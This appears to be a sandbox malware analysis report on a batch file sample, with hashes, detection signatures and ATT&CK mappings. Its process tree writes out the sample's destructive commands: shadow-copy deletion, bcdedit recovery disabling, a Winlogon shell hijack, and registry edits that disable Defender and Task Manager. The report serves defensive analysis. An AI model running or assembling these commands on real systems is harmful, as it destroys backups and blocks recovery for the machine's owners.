79ba740eccf66eb0464c69ff1b65dea7870474860e32fb30bafd540cb2371d81

Analysis

max time kernel
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 11:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3.bat
Size 2KB
Sample260625-nlmlmsbt7q
SHA256 79ba740eccf66eb0464c69ff1b65dea7870474860e32fb30bafd540cb2371d81
MD5 afd9a1b7ccfd2782f7e7a71a17efae5c
SHA1 d00aef6e020f07abf29881f3abf12c064999bdbc
SHA512 8be3dfad6ac1acc75d7a7405108adc808563323922c2d401d901a17ea59d1a3311b6c4ba83494767cd5d4803be80b03c77e0ae000006afedbd2a6f00f2fe1590
TLSH
T18751D1102805C237D691A071D94EA903F7BFE2872C24FBA4759370A5687B154CFBEBDA
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion evasion execution impact persistence ransomware spyware stealer trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "cmd.exe"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4796	bcdedit.exe
3552	bcdedit.exe
3228	bcdedit.exe
824	bcdedit.exe
3764	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3696	powercfg.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5052	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2700	taskkill.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeBackupPrivilege	2020	vssvc.exe
Token: SeRestorePrivilege	2020	vssvc.exe
Token: SeAuditPrivilege	2020	vssvc.exe
Token: SeShutdownPrivilege	3696	powercfg.exe
Token: SeCreatePagefilePrivilege	3696	powercfg.exe
Token: SeShutdownPrivilege	3696	powercfg.exe
Token: SeCreatePagefilePrivilege	3696	powercfg.exe
Token: SeDebugPrivilege	2700	taskkill.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 2696	1648	cmd.exe	90
PID 1648 wrote to memory of 5924	1648	cmd.exe	91
PID 1648 wrote to memory of 5052	1648	cmd.exe	92
PID 1648 wrote to memory of 1652	1648	cmd.exe	95
PID 1648 wrote to memory of 1628	1648	cmd.exe	96
PID 1648 wrote to memory of 1776	1648	cmd.exe	97
PID 1648 wrote to memory of 5492	1648	cmd.exe	98
PID 1648 wrote to memory of 1532	1648	cmd.exe	99
PID 1648 wrote to memory of 4176	1648	cmd.exe	100
PID 1648 wrote to memory of 4500	1648	cmd.exe	101
PID 1648 wrote to memory of 4792	1648	cmd.exe	102
PID 1648 wrote to memory of 3880	1648	cmd.exe	103
PID 1648 wrote to memory of 5388	1648	cmd.exe	104
PID 1648 wrote to memory of 4796	1648	cmd.exe	105
PID 1648 wrote to memory of 3552	1648	cmd.exe	106
PID 1648 wrote to memory of 3228	1648	cmd.exe	107
PID 1648 wrote to memory of 824	1648	cmd.exe	108
PID 1648 wrote to memory of 3764	1648	cmd.exe	109
PID 1648 wrote to memory of 3696	1648	cmd.exe	110
PID 1648 wrote to memory of 3180	1648	cmd.exe	111
PID 1648 wrote to memory of 2700	1648	cmd.exe	114

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\system32\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
  2⤵
  PID:2696
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:5924
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /for=c: /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5052
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:1652
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:1628
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispCPL /t REG_DWORD /d 1 /f
  2⤵
  PID:1776
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
  2⤵
  PID:5492
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDevMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:1532
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network" /v NoNetSetup /t REG_DWORD /d 1 /f
  2⤵
  PID:4176
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
  2⤵
  PID:4500
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4792
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3880
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies" /v WriteProtect /t REG_DWORD /d 1 /f
  2⤵
  PID:5388
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4796
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3552
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3228
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:824
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3764
- C:\Windows\system32\powercfg.exe
  powercfg -h off
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir /s /b C:\Users\*.docx C:\Users\*.pdf C:\Users\*.jpg
  2⤵
  PID:3180
- C:\Windows\system32\taskkill.exe
  taskkill /f /t /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2700

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2020

C:\Windows\System32\cmd.exe
cmd.exe
1⤵
PID:1224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

5.dat

Path C:\5.dat
Size 19B
SHA256 339b93e4f4544e7e0d940e87aa15b490254addf65ba194e14f3f95c1238a42e8
MD5 6e594e58b846e6d7b72ec8e75ce48483
SHA1 3c6ee5d498290a3c06a37f2fb6860879280a81de
SHA512 4a6d704f33e25c46a440a4d9fbe9ac6e75439a8123b2e814af3ccd6b28205eca01e469cecacaef3bfab06451c756cd2511f46cece1b5c4ecfd9f056855f6bca9
MD5 SHA1 SHA512

Submit Download

msg.vbs

Path C:\Users\Admin\AppData\Local\Temp\msg.vbs
Size 61B
SHA256 a6dd56c2b5a99abff726c3fa006760228be7031fd389a90f066f69a980a066f1
MD5 638671f95850a77d66eecefc98c3ce0b
SHA1 7a867ea90f2a841f64b8e8fa5bb3f4799d053bb7
SHA512 a0abaf14f4ea4602cc2d0dbc3bf10e6c4c5051101cff2863988230b13ffd29be4522eac66c8e268ff885494db7863dac7b0352fecb91acebab07b4faae729ac6
TLSH
T1D3A022CC0AC820882000000C0080BC00083220B8030C2AA0288B0838A0FCA000030008
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads